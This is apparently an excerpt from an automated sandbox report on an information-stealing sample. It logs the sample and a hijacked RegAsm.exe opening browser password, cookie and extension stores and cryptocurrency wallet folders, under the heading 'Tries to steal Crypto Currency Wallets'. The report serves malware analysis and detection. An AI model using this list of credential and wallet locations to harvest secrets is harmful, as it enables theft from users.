Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\signons.sqlite Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\formhistory.sqlite Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
